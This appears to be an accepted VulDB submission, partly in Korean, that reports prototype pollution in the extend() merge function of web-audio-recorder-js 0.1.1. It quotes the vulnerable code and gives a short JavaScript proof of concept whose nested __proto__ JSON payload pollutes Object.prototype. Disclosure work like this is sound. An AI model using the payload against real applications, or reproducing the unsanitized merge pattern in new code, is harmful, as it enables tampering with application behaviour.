제출 #755221: higuma web-audio-recorder-js Latest (0.1.1) Prototype Pollution

The library's internal extend() function doesn't sanitize dangerous property names like __proto__, constructor, or prototype when merging configuration objects. If an application passes unsanitized user input (e.g., from URL params, JSON APIs, or form data) to the WebAudioRecorder constructor's configs parameter, an attacker can pollute Object.prototype globally.
Found this during a client engagement - the code pattern is definitely vulnerable, but real-world exploitability depends on whether apps actually pass user input to the constructor. Most implementations probably use hardcoded configs, which would make this unexploitable.

PoC (if user input reaches configs):

```
var mockNode = {
context: {
createGain: () => ({ connect: () => {} }),
createScriptProcessor: () => ({ connect: () => {} }),
sampleRate: 44100
},
connect: function(){}
};

var payload = JSON.parse('{"__proto__": {"__proto__": {"polluted": "Success!"}}}'); // "Success!"

new WebAudioRecorder(mockNode, payload);

console.log("Check:", {}.polluted); //Success!
// Tested PoC from client assessment
```

Haven't done extensive testing. Just spotted it in the wild and figured it's worth documenting.

The Vulnerable Code

Lines 3 to 13 define the extend function:

```
var extend = function() {
var target = arguments[0],
sources = [].slice.call(arguments, 1);
for (var i = 0; i < sources.length; ++i) {
var src = sources[i];
for (key in src) {
var val = src[key];
target[key] = typeof val === "object"
? extend(typeof target[key] === "object" ? target[key] : {}, val)
: val;
}
```

Low exploitability based on my analysis. Most implementations use hardcoded configs. Only vulnerable if developers build the config object from user input (e.g., letting users customize audio settings via forms/API) without validation. Unlikely but technically possible.

• 원천: ⚠️ https://github.com/higuma/web-audio-recorder-js/blob/master/lib/WebAudioRecorder.js#L3-L15
• 사용자: MatanS (UID 86894)
• 제출: 2026. 02. 10. AM 09:07 (3 개월 ago)
• 모더레이션: 2026. 02. 22. AM 08:26 (12 days later)
• 상태: 수락
• VulDB 항목: 347331 [higuma web-audio-recorder-js 0.1/0.1.1 Dynamic Config Handling lib/WebAudioRecorder.js extend 권한 상승]
• 포인트들: 20